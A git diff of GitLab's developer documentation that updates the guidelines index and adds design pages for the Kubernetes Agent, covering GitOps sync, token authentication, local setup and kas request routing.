+- Changes to [code review guidelines](code_review.md).
+- Changes to [commit message guidelines](contributing/merge_request_workflow.md#commit-messages-guidelines).
+- Changes to guidelines in [feature flags in development of GitLab](feature_flags/).
+- Changes to [feature flags documentation guidelines](documentation/feature_flags.md).
+
+In these cases, use the following workflow:
+
+1. Request a peer review from a member of your team.
+1. Request a review and approval of an Engineering Manager (EM)
+ or Staff Engineer who's responsible for the area in question:
+
+ - [Frontend](https://about.gitlab.com/handbook/engineering/frontend/)
+ - [Backend](https://about.gitlab.com/handbook/engineering/)
+ - [Database](https://about.gitlab.com/handbook/engineering/development/database/)
+ - [User Experience (UX)](https://about.gitlab.com/handbook/engineering/ux/)
+ - [Security](https://about.gitlab.com/handbook/engineering/security/)
+ - [Quality](https://about.gitlab.com/handbook/engineering/quality/)
+ - [Infrastructure](https://about.gitlab.com/handbook/engineering/infrastructure/)
+ - [Technical Writing](https://about.gitlab.com/handbook/engineering/ux/technical-writing/)
+
+ You can skip this step for MRs authored by EMs or Staff Engineers responsible
+ for their area.
+
+ If there are several affected groups, you may need approvals at the
+ EM/Staff Engineer level from each affected area.
+
+1. After completing the reviews, consult with the EM/Staff Engineer
+ author / approver of the MR.
+
+ If this is a significant change across multiple areas, request final review
+ and approval from the VP of Development, the DRI for Development Guidelines,
+ @clefelhocz1.
+
+1. After all approvals are complete, assign the merge request to the
+ Technical Writer for [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines)
+ for final content review and merge. The Technical Writer may ask for
+ additional approvals as previously suggested before merging the MR.
## UX and Frontend guides
-- [GitLab Design System](https://design.gitlab.com/) for building GitLab with existing CSS styles and elements
+- [GitLab Design System](https://design.gitlab.com/), for building GitLab with
+ existing CSS styles and elements
- [Frontend guidelines](fe_guide/index.md)
- [Emoji guide](fe_guide/emojis.md)
@@ -89,7 +155,8 @@ from:
- [Issuable-like Rails models](issuable-like-models.md)
- [Logging](logging.md)
- [API style guide](api_styleguide.md) for contributing to the API
-- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the [GraphQL API](../api/graphql/index.md)
+- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the
+ [GraphQL API](../api/graphql/index.md)
- [Sidekiq guidelines](sidekiq_style_guide.md) for working with Sidekiq workers
- [Working with Gitaly](gitaly.md)
- [Manage feature flags](feature_flags/index.md)
@@ -98,10 +165,11 @@ from:
- [Shell commands](shell_commands.md) in the GitLab codebase
- [`Gemfile` guidelines](gemfile.md)
- [Pry debugging](pry_debugging.md)
-- [Sidekiq debugging](sidekiq_debugging.md)
+- [Sidekiq debugging](../administration/troubleshooting/sidekiq.md)
- [Accessing session data](session.md)
- [Gotchas](gotchas.md) to avoid
-- [Avoid modules with instance variables](module_with_instance_variables.md) if possible
+- [Avoid modules with instance variables](module_with_instance_variables.md), if
+ possible
- [How to dump production data to staging](db_dump.md)
- [Working with the GitHub importer](github_importer.md)
- [Import/Export development documentation](import_export.md)
@@ -135,6 +203,7 @@ from:
- [Wikis development guide](wikis.md)
- [Newlines style guide](newlines_styleguide.md)
- [Image scaling guide](image_scaling.md)
+- [Export to CSV](export_csv.md)
## Performance guides
@@ -146,8 +215,9 @@ from:
for ensuring merge requests do not negatively impact GitLab performance
- [Profiling](profiling.md) a URL, measuring performance using Sherlock, or
tracking down N+1 queries using Bullet.
-- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries masked by query caching, memory profiling and why should
- we avoid cached queries.
+- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries
+ masked by query caching, memory profiling and why should we avoid cached
+ queries.
## Database guides
@@ -159,6 +229,7 @@ See [database guidelines](database/index.md).
- [Security Scanners](integrations/secure.md)
- [Secure Partner Integration](integrations/secure_partner_integration.md)
- [How to run Jenkins in development environment](integrations/jenkins.md)
+- [How to run local Codesandbox integration for Web IDE Live Preview](integrations/codesandbox.md)
## Testing guides
diff --git a/doc/development/adding_database_indexes.md b/doc/development/adding_database_indexes.md
index d2526d6c4f2..0991c4740cc 100644
--- a/doc/development/adding_database_indexes.md
+++ b/doc/development/adding_database_indexes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding Database Indexes
diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md
index 74309a5c616..7e2add2c91f 100644
--- a/doc/development/adding_service_component.md
+++ b/doc/development/adding_service_component.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Adding a new Service Component to GitLab
@@ -47,14 +47,14 @@ Adding a new service follows the same [merge request workflow](contributing/merg
The first iteration should be to add the ability to connect and use the service as an externally installed component. Often this involves providing settings in GitLab to connect to the service, or allow connections from it. And then shipping documentation on how to install and configure the service with GitLab.
-TIP: **Tip:**
+NOTE:
[Elasticsearch](../integration/elasticsearch.md#installing-elasticsearch) is an example of a service that has been integrated this way. And many of the other services, including internal projects like Gitaly, started off as separately installed alternatives.
**For services that depend on the existing GitLab codebase:**
The first iteration should be opt-in, either through the `gitlab.yml` configuration or through [feature flags](feature_flags/index.md). For these types of services it is often necessary to [bundle the service and its dependencies with GitLab](#bundling-a-service-with-gitlab) as part of the initial integration.
-TIP: **Tip:**
+NOTE:
[ActionCable](https://docs.gitlab.com/omnibus/settings/actioncable.html) is an example of a service that has been added this way.
## Bundling a service with GitLab
diff --git a/doc/development/agent/gitops.md b/doc/development/agent/gitops.md
new file mode 100644
index 00000000000..8c8586326fa
--- /dev/null
+++ b/doc/development/agent/gitops.md
@@ -0,0 +1,148 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# GitOps with the Kubernetes Agent **(PREMIUM ONLY)**
+
+The [GitLab Kubernetes Agent](../../user/clusters/agent/index.md) supports the
+[pull-based version](https://www.gitops.tech/#pull-based-deployments) of
+[GitOps](https://www.gitops.tech/). To be useful, the feature must be able to perform these tasks:
+
+- Connect one or more Kubernetes clusters to a GitLab project or group.
+- Synchronize cluster-wide state from a Git repository.
+- Synchronize namespace-scoped state from a Git repository.
+- Control the following settings:
+
+ - The kinds of objects an agent can manage.
+ - Enabling the namespaced mode of operation for managing objects only in a specific namespace.
+ - Enabling the non-namespaced mode of operation for managing objects in any namespace, and
+ managing non-namespaced objects.
+
+- Synchronize state from one or more Git repositories into a cluster.
+- Configure multiple agents running in different clusters to synchronize state
+ from the same repository.
+
+## GitOps architecture
+
+In this architecture, the Kubernetes cluster (`agentk`) periodically fetches
+configuration from (`kas`), spawning a goroutine for each configured GitOps
+repository. Each goroutine makes a streaming `GetObjectsToSynchronize()` gRPC call.
+`kas` accepts these requests, then checks if this agent is authorized to access
+this GitLab repository. If authorized, `kas` polls Gitaly for repository updates
+and sends the latest manifests to the agent.
+
+Before each poll, `kas` verifies with GitLab that the agent's token is still valid.
+When `agentk` receives an updated manifest, it performs a synchronization using
+[`gitops-engine`](https://github.com/argoproj/gitops-engine).
+
+If a repository is removed from the list, `agentk` stops the `GetObjectsToSynchronize()`
+calls to that repository.
+
+```mermaid
+graph TB
+ agentk -- fetch configuration --> kas
+ agentk -- fetch GitOps manifests --> kas
+
+ subgraph "GitLab"
+ kas[kas]
+ GitLabRoR[GitLab RoR]
+ Gitaly[Gitaly]
+ kas -- poll GitOps repositories --> Gitaly
+ kas -- authZ for agentk --> GitLabRoR
+ kas -- fetch configuration --> Gitaly
+ end
+
+ subgraph "Kubernetes cluster"
+ agentk[agentk]
+ end
+```
+
+## Architecture considered but not implemented
+
+As part of the implementation process, this architecture was considered, but ultimately
+not implemented.
+
+In this architecture, `agentk` periodically fetches configuration from `kas`. For each
+configured GitOps repository, it spawns a goroutine. Each goroutine then spawns a
+copy of [`git-sync`](https://github.com/kubernetes/git-sync). It polls a particular
+repository and invokes a corresponding webhook on `agentk` when it changes. When that
+happens, `agentk` performs a synchronization using
+[`gitops-engine`](https://github.com/argoproj/gitops-engine).
+
+For repositories no longer in the list, `agentk` stops corresponding goroutines
+and `git-sync` copies, also deleting their cloned repositories from disk:
+
+```mermaid
+graph TB
+ agentk -- fetch configuration --> kas
+ git-sync -- poll GitOps repositories --> GitLabRoR
+
+ subgraph "GitLab"
+ kas[kas]
+ GitLabRoR[GitLab RoR]
+ kas -- authZ for agentk --> GitLabRoR
+ kas -- fetch configuration --> Gitaly[Gitaly]
+ end
+
+ subgraph "Kubernetes cluster"
+ agentk[agentk]
+ git-sync[git-sync]
+ agentk -- control --> git-sync
+ git-sync -- notify about changes --> agentk
+ end
+```
+
+## Comparing implemented and non-implemented architectures
+
+Both architectures attempt to answer the same question: how to grant an agent
+access to a non-public repository?
+
+In the **implemented** architecture:
+
+- Favorable: Fewer moving parts, as `git-sync` and `git` are not used, making this
+ design more reliable.
+- Favorable: Uses existing connectivity and authentication mechanisms are used (gRPC + `agentk` token).
+- Favorable: No polling through external infrastructure. Saves traffic and avoids
+ noise in access logs.
+
+In the **unimplemented** architecture:
+
+- Favorable: `agentk` uses `git-sync` to access repositories with standard protocols
+ (either HTTPS, or SSH and Git) with accepted authentication and authorization methods.
+
+ - Unfavorable: The user must put credentials into a `secret`. GitLab doesn't have
+ a mechanism for per-repository tokens for robots.
+ - Unfavorable: Rotating all credentials is more work than rotating a single `agentk` token.
+
+- Unfavorable: A dependency on an external component (`git-sync`) that can be avoided.
+- Unfavorable: More network traffic and connections than the implemented design
+
+### Ideas considered for the unimplemented design
+
+As part of the design process, these ideas were considered, and discarded:
+
+- Running `git-sync` and `gitops-engine` as part of `kas`.
+
+ - Favorable: More code and infrastructure under our control for GitLab.com
+ - Unfavorable: Running an arbitrary number of `git-sync` processes would require
+ an unbounded amount of RAM and disk space.
+ - Unfavorable: Unclear which `kas` replica is responsible for which agent and
+ repository synchronization. If done as part of `agentk`, leader election can be
+ done using [client-go](https://pkg.go.dev/k8s.io/client-go/tools/leaderelection?tab=doc).
+
+- Running `git-sync` and a "`gitops-engine` driver" helper program as a separate
+ Kubernetes `Deployment`.
+
+ - Favorable: Better isolation and higher resiliency. For example, if the node
+ with `agentk` dies, not all synchronization stops.
+ - Favorable: Each deployment has its own memory and disk limits.
+ - Favorable: Per-repository synchronization identity (distinct `ServiceAccount`)
+ can be implemented.
+ - Unfavorable: Time consuming to implement properly:
+
+ - Each `Deployment` needs CRUD (create, update, and delete) permissions.
+ - Users may want to customize a `Deployment`, or add and remove satellite objects
+ like `PodDisruptionBudget`, `HorizontalPodAutoscaler`, and `PodSecurityPolicy`.
+ - Metrics, monitoring, logs for the `Deployment`.
diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md
new file mode 100644
index 00000000000..65de1a6f0c8
--- /dev/null
+++ b/doc/development/agent/identity.md
@@ -0,0 +1,94 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Kubernetes Agent identity and authentication **(PREMIUM ONLY)**
+
+This page uses the word `agent` to describe the concept of the
+GitLab Kubernetes Agent. The program that implements the concept is called `agentk`.
+Read the
+[architecture page](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md)
+for more information.
+
+## Agent identity and name
+
+In a GitLab installation, each agent must have a unique, immutable name. This
+name must be unique in the project the agent is attached to, and this name must
+follow the [DNS label standard from RFC 1123](https://tools.ietf.org/html/rfc1123).
+The name must:
+
+- Contain at most 63 characters.
+- Contain only lowercase alphanumeric characters or `-`.
+- Start with an alphanumeric character.
+- End with an alphanumeric character.
+
+Kubernetes uses the
+[same naming restriction](https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#dns-label-names)
+for some names.
+
+The regex for names is: `/\A[a-z0-9]([-a-z0-9]*[a-z0-9])?\z/`.
+
+## Multiple agents in a cluster
+
+A Kubernetes cluster may have 0 or more agents running in it. Each agent likely
+has a different configuration. Some may enable features A and B, and some may
+enable features B and C. This flexibility enables different groups of people to
+use different features of the agent in the same cluster.
+
+For example, [Priyanka (Platform Engineer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#priyanka-platform-engineer)
+may want to use cluster-wide features of the agent, while
+[Sasha (Software Developer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#sasha-software-developer)
+uses the agent that only has access to a particular namespace.
+
+Each agent is likely running using a
+[`ServiceAccount`](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/),
+a distinct Kubernetes identity, with a distinct set of permissions attached to it.
+These permissions enable the agent administrator to follow the
+[principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege)
+and minimize the permissions each particular agent needs.
+
+## Kubernetes Agent authentication
+
+When adding a new agent, GitLab provides the user with a bearer access token. The
+agent uses this token to authenticate with GitLab. This token is a random string
+and does not encode any information in it, but it is secret and must
+be treated with care. Store it as a `Secret` in Kubernetes.
+
+Each agent can have 0 or more tokens in a GitLab database. Having several valid
+tokens helps you rotate tokens without needing to re-register an agent. Each token
+record in the database has the following fields:
+
+- Agent identity it belongs to.
+- Token value. Encrypted at rest.
+- Creation time.
+- Who created it.
+- Revocation flag to mark token as revoked.
+- Revocation time.
+- Who revoked it.
+- A text field to store any comments the administrator may want to make about the token for future self.
+
+Tokens can be managed by users with `maintainer` and higher level of
+[permissions](../../user/permissions.md).
+
+Tokens are immutable, and only the following fields can be updated:
+
+- Revocation flag. Can only be updated to `true` once, but immutable after that.
+- Revocation time. Set to the current time when revocation flag is set, but immutable after that.
+- Comments field. Can be updated any number of times, including after the token has been revoked.
+
+The agent sends its token, along with each request, to GitLab to authenticate itself.
+For each request, GitLab checks the token's validity:
+
+- Does the token exist in the database?
+- Has the token been revoked?
+
+This information may be cached for some time to reduce load on the database.
+
+## Kubernetes Agent authorization
+
+GitLab provides the following information in its response for a given Agent access token:
+
+- Agent configuration Git repository. (The agent doesn't support per-folder authorization.)
+- Agent name.
diff --git a/doc/development/agent/index.md b/doc/development/agent/index.md
new file mode 100644
index 00000000000..95661c8ddbd
--- /dev/null
+++ b/doc/development/agent/index.md
@@ -0,0 +1,87 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Kubernetes Agent development **(PREMIUM ONLY)**
+
+This page contains developer-specific information about the GitLab Kubernetes Agent.
+[End-user documentation about the GitLab Kubernetes Agent](../../user/clusters/agent/index.md)
+is also available.
+
+The agent can help you perform tasks like these:
+
+- Integrate a cluster, located behind a firewall or NAT, with GitLab. To
+ learn more, read [issue #212810, Invert the model GitLab.com uses for Kubernetes integration by leveraging long lived reverse tunnels](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
+- Access API endpoints in a cluster in real time. For an example use case, read
+ [issue #218220, Allow Prometheus in K8s cluster to be installed manually](https://gitlab.com/gitlab-org/gitlab/-/issues/218220#note_348729266).
+- Enable real-time features by pushing information about events happening in a cluster.
+ For example, you could build a cluster view dashboard to visualize changes in progress
+ in a cluster. For more information about these efforts, read about the
+ [Real-Time Working Group](https://about.gitlab.com/company/team/structure/working-groups/real-time/).
+- Enable a [cache of Kubernetes objects through informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183),
+ kept up-to-date with very low latency. This cache helps you:
+
+ - Reduce or eliminate information propagation latency by avoiding Kubernetes API calls
+ and polling, and only fetching data from an up-to-date cache.
+ - Lower the load placed on the Kubernetes API by removing polling.
+ - Eliminate any rate-limiting errors by removing polling.
+ - Simplify backend code by replacing polling code with cache access. While it's another
+ API call, no polling is needed. This example describes [fetching cached data synchronously from the front end](https://gitlab.com/gitlab-org/gitlab/-/issues/217792#note_348582537) instead of fetching data from the Kubernetes API.
+
+## Architecture of the Kubernetes Agent
+
+The GitLab Kubernetes Agent and the GitLab Kubernetes Agent Server use
+[bidirectional streaming](https://grpc.io/docs/what-is-grpc/core-concepts/#bidirectional-streaming-rpc)
+to allow the connection acceptor (the gRPC server, GitLab Kubernetes Agent Server) to
+act as a client. The connection acceptor sends requests as gRPC replies. The client-server
+relationship is inverted because the connection must be initiated from inside the
+Kubernetes cluster to bypass any firewall or NAT the cluster may be located behind.
+To learn more about this inversion, read
+[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
+
+This diagram describes how GitLab (`GitLab RoR`), the GitLab Kubernetes Agent (`agentk`), and the GitLab Kubernetes Agent Server (`kas`) work together.
+
+```mermaid
+graph TB
+ agentk -- gRPC bidirectional streaming --> kas
+
+ subgraph "GitLab"
+ kas[kas]
+ GitLabRoR[GitLab RoR] -- gRPC --> kas
+ kas -- gRPC --> Gitaly[Gitaly]
+ kas -- REST API --> GitLabRoR
+ end
+
+ subgraph "Kubernetes cluster"
+ agentk[agentk]
+ end
+```
+
+- `GitLab RoR` is the main GitLab application. It uses gRPC to talk to `kas`.
+- `agentk` is the GitLab Kubernetes Agent. It keeps a connection established to a
+ `kas` instance, waiting for requests to process. It may also actively send information
+ about things happening in the cluster.
+- `kas` is the GitLab Kubernetes Agent Server, and is responsible for:
+ - Accepting requests from `agentk`.
+ - [Authentication of requests](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md) from `agentk` by querying `GitLab RoR`.
+ - Fetching agent's configuration from a corresponding Git repository by querying Gitaly.
+ - Matching incoming requests from `GitLab RoR` with existing connections from
+ the right `agentk`, forwarding requests to it and forwarding responses back.
+ - (Optional) Sending notifications through ActionCable for events received from `agentk`.
+ - Polling manifest repositories for [GitOps support](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md) by communicating with Gitaly.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+To learn more about how the repository is structured, see
+[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY).
+
+## Guiding principles
+
+GitLab prefers to add logic into `kas` rather than `agentk`. `agentk` should be kept
+streamlined and small to minimize the need for upgrades. On GitLab.com, `kas` is
+managed by GitLab, so upgrades and features can be added without requiring you
+to upgrade `agentk` in your clusters.
+
+`agentk` can't be viewed as a dumb reverse proxy because features are planned to be built
+[on top of the cache with informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183).
diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md
new file mode 100644
index 00000000000..75d45366238
--- /dev/null
+++ b/doc/development/agent/local.md
@@ -0,0 +1,58 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Run the Kubernetes Agent locally **(PREMIUM ONLY)**
+
+You can run `kas` and `agentk` locally to test the [Kubernetes Agent](index.md) yourself.
+
+1. Create a `cfg.yaml` file from the contents of
+ [`config_example.yaml`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/pkg/kascfg/config_example.yaml), or this example:
+
+ ```yaml
+ agent:
+ listen:
+ network: tcp
+ address: 127.0.0.1:8150
+ websocket: false
+ gitops:
+ poll_period: "10s"
+ gitlab:
+ address: http://localhost:3000
+ authentication_secret_file: /Users/tkuah/code/ee-gdk/gitlab/.gitlab_kas_secret
+ ```
+
+1. Create a `token.txt`. This is the token for
+ [the agent you created](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab). This file must not contain a newline character. You can create the file with this command:
+
+ ```shell
+ echo -n "<TOKEN>" > token.txt
+ ```
+
+1. Start the binaries with the following commands:
+
+ ```shell
+ # Need GitLab to start
+ gdk start
+ # Stop GDK's version of kas
+ gdk stop gitlab-k8s-agent
+
+ # Start kas
+ bazel run //cmd/kas -- --configuration-file="$(pwd)/cfg.yaml"
+ ```
+
+1. In a new terminal window, run this command to start `agentk`:
+
+ ```shell
+ bazel run //cmd/agentk -- --kas-address=grpc://127.0.0.1:8150 --token-file="$(pwd)/token.txt"
+ ```
+
+You can also inspect the
+[Makefile](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/Makefile)
+for more targets.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+To learn more about how the repository is structured, see
+[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY).
diff --git a/doc/development/agent/routing.md b/doc/development/agent/routing.md
new file mode 100644
index 00000000000..43cc78ccdfb
--- /dev/null
+++ b/doc/development/agent/routing.md
@@ -0,0 +1,223 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Routing `kas` requests in the Kubernetes Agent **(PREMIUM ONLY)**
+
+This document describes how `kas` routes requests to concrete `agentk` instances.
+GitLab must talk to GitLab Kubernetes Agent Server (`kas`) to:
+
+- Get information about connected agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/249560).
+- Interact with agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/230571).
+- Interact with Kubernetes clusters. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/240918).
+
+Each agent connects to an instance of `kas` and keeps an open connection. When
+GitLab must talk to a particular agent, a `kas` instance connected to this agent must
+be found, and the request routed to it.
+
+## System design
+
+For an architecture overview please see
+[architecture.md](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md).
+
+```mermaid
+flowchart LR
+ subgraph "Kubernetes 1"
+ agentk1p1["agentk 1, Pod1"]
+ agentk1p2["agentk 1, Pod2"]
+ end
+
+ subgraph "Kubernetes 2"
+ agentk2p1["agentk 2, Pod1"]
+ end
+
+ subgraph "Kubernetes 3"
+ agentk3p1["agentk 3, Pod1"]
+ end
+
+ subgraph kas
+ kas1["kas 1"]
+ kas2["kas 2"]
+ kas3["kas 3"]
+ end
+
+ GitLab["GitLab Rails"]
+ Redis
+
+ GitLab -- "gRPC to any kas" --> kas
+ kas1 -- register connected agents --> Redis
+ kas2 -- register connected agents --> Redis
+ kas1 -- lookup agent --> Redis
+
+ agentk1p1 -- "gRPC" --> kas1
+ agentk1p2 -- "gRPC" --> kas2
+ agentk2p1 -- "gRPC" --> kas1
+ agentk3p1 -- "gRPC" --> kas2
+```
+
+For this architecture, this diagram shows a request to `agentk 3, Pod1` for the list of pods:
+
+```mermaid
+sequenceDiagram
+ GitLab->>+kas1: Get list of running<br />Pods from agentk<br />with agent_id=3
+ Note right of kas1: kas1 checks for<br />agent connected with agent_id=3.<br />It does not.<br />Queries Redis
+ kas1->>+Redis: Get list of connected agents<br />with agent_id=3
+ Redis-->-kas1: List of connected agents<br />with agent_id=3
+ Note right of kas1: kas1 picks a specific agentk instance<br />to address and talks to<br />the corresponding kas instance,<br />specifying which agentk instance<br />to route the request to.
+ kas1->>+kas2: Get the list of running Pods<br />from agentk 3, Pod1
+ kas2->>+agentk 3 Pod1: Get list of Pods
+ agentk 3 Pod1->>-kas2: Get list of Pods
+ kas2-->>-kas1: List of running Pods<br />from agentk 3, Pod1
+ kas1-->>-GitLab: List of running Pods<br />from agentk with agent_id=3
+```
+
+Each `kas` instance tracks the agents connected to it in Redis. For each agent, it
+stores a serialized protobuf object with information about the agent. When an agent
+disconnects, `kas` removes all corresponding information from Redis. For both events,
+`kas` publishes a notification to a Redis [pub-sub channel](https://redis.io/topics/pubsub).
+
+Each agent, while logically a single entity, can have multiple replicas (multiple pods)
+in a cluster. `kas` accommodates that and records per-replica (generally per-connection)
+information. Each open `GetConfiguration()` streaming request is given
+a unique identifier which, combined with agent ID, identifies an `agentk` instance.
+
+gRPC can keep multiple TCP connections open for a single target host. `agentk` only
+runs one `GetConfiguration()` streaming request. `kas` uses that connection, and
+doesn't see idle TCP connections because they are handled by the gRPC framework.
+
+Each `kas` instance provides information to Redis, so other `kas` instances can discover and access it.
+
+Information is stored in Redis with an [expiration time](https://redis.io/commands/expire),
+to expire information for `kas` instances that become unavailable. To prevent
+information from expiring too quickly, `kas` periodically updates the expiration time
+for valid entries. Before terminating, `kas` cleans up the information it adds into Redis.
+
+When `kas` must atomically update multiple data structures in Redis, it uses
+[transactions](https://redis.io/topics/transactions) to ensure data consistency.
+Grouped data items must have the same expiration time.
+
+In addition to the existing `agentk -> kas` gRPC endpoint, `kas` exposes two new,
+separate gRPC endpoints for GitLab and for `kas -> kas` requests. Each endpoint
+is a separate network listener, making it easier to control network access to endpoints
+and allowing separate configuration for each endpoint.
+
+Databases, like PostgreSQL, aren't used because the data is transient, with no need
+to reliably persist it.
+
+### `GitLab : kas` external endpoint
+
+GitLab authenticates with `kas` using JWT and the same shared secret used by the
+`kas -> GitLab` communication. The JWT issuer should be `gitlab` and the audience
+should be `gitlab-kas`.
+
+When accessed through this endpoint, `kas` plays the role of request router.
+
+If a request from GitLab comes but no connected agent can handle it, `kas` blocks
+and waits for a suitable agent to connect to it or to another `kas` instance. It
+stops waiting when the client disconnects, or when some long timeout happens, such
+as client timeout. `kas` is notified of new agent connections through a
+[pub-sub channel](https://redis.io/topics/pubsub) to avoid frequent polling.
+When a suitable agent connects, `kas` routes the request to it.
+
+### `kas : kas` internal endpoint
+
+This endpoint is an implementation detail, an internal API, and should not be used
+by any other system. It's protected by JWT using a secret, shared among all `kas`
+instances. No other system must have access to this secret.
+
+When accessed through this endpoint, `kas` uses the request itself to determine
+which `agentk` to send the request to. It prevents request cycles by only following
+the instructions in the request, rather than doing discovery. It's the responsibility
+of the `kas` receiving the request from the _external_ endpoint to retry and re-route
+requests. This method ensures a single central component for each request can determine
+how a request is routed, rather than distributing the decision across several `kas` instances.
+
+### API definitions
+
+```proto
+syntax = "proto3";
+
+import "google/protobuf/timestamp.proto";
+
+message KasAddress {
+ string ip = 1;
+ uint32 port = 2;
+}
+
+message ConnectedAgentInfo {
+ // Agent id.
+ int64 id = 1;
+ // Identifies a particular agentk->kas connection. Randomly generated when agent connects.
+ int64 connection_id = 2;
+ string version = 3;
+ string commit = 4;
+ // Pod namespace.
+ string pod_namespace = 5;
+ // Pod name.
+ string pod_name = 6;
+ // When the connection was established.
+ google.protobuf.Timestamp connected_at = 7;
+ KasAddress kas_address = 8;
+ // What else do we need?
+}
+
+message KasInstanceInfo {
+ string version = 1;
+ string commit = 2;
+ KasAddress address = 3;
+ // What else do we need?
+}
+
+message ConnectedAgentsForProjectRequest {
+ int64 project_id = 1;
+}
+
+message ConnectedAgentsForProjectResponse {
+ // There may 0 or more agents with the same id, depending on the number of running Pods.
+ repeated ConnectedAgentInfo agents = 1;
+}
+
+message ConnectedAgentsByIdRequest {
+ int64 agent_id = 1;
+}
+
+message ConnectedAgentsByIdResponse {
+ repeated ConnectedAgentInfo agents = 1;
+}
+
+// API for use by GitLab.
+service KasApi {
+ // Connected agents for a particular configuration project.
+ rpc ConnectedAgentsForProject (ConnectedAgentsForProjectRequest) returns (ConnectedAgentsForProjectResponse) {
+ }
+ // Connected agents for a particular agent id.
+ rpc ConnectedAgentsById (ConnectedAgentsByIdRequest) returns (ConnectedAgentsByIdResponse) {
+ }
+ // Depends on the need, but here is the call from the example above.
+ rpc GetPods (GetPodsRequest) returns (GetPodsResponse) {
+ }
+}
+
+message Pod {
+ string namespace = 1;
+ string name = 2;
+}
+
+message GetPodsRequest {
+ int64 agent_id = 1;
+ int64 connection_id = 2;
+}
+
+message GetPodsResponse {
+ repeated Pod pods = 1;
+}
+
+// Internal API for use by kas for kas -> kas calls.
+service KasInternal {
+ // Depends on the need, but here is the call from the example above.
+ rpc GetPods (GetPodsRequest) returns (GetPodsResponse) {
+ }
+}
+```
diff --git a/doc/development/agent/user_stories.md b/doc/development/agent/user_stories.md
new file mode 100644
index 00000000000..2929573ffd3
--- /dev/null
+++ b/doc/development/agent/user_stories.md
@@ -0,0 +1,77 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Kubernetes Agent user stories **(PREMIUM ONLY)**
+
+The [personas in action](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#user-personas)
+for the Kubernetes Agent are:
+
+- [Sasha, the Software Developer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#sasha-software-developer).
+- [Allison, the Application Operator](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#allison-application-ops).
+- [Priyanka, the Platform Engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#priyanka-platform-engineer).
+
+[Devon, the DevOps engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#devon-devops-engineer)
+is intentionally excluded here, as DevOps is more of a role than a persona.
+
+There are various workflows to support, so some user stories might seem to contradict each other. They don't.
+
+## Software Developer user stories
+
+<!-- vale gitlab.FirstPerson = NO -->
+
+- As a Software Developer, I want to push my code, and move to the next development task,
+ to work on business applications.
+- As a Software Developer, I want to set necessary dependencies and resource requirements
+ together with my application code, so my code runs fine after deployment.
+
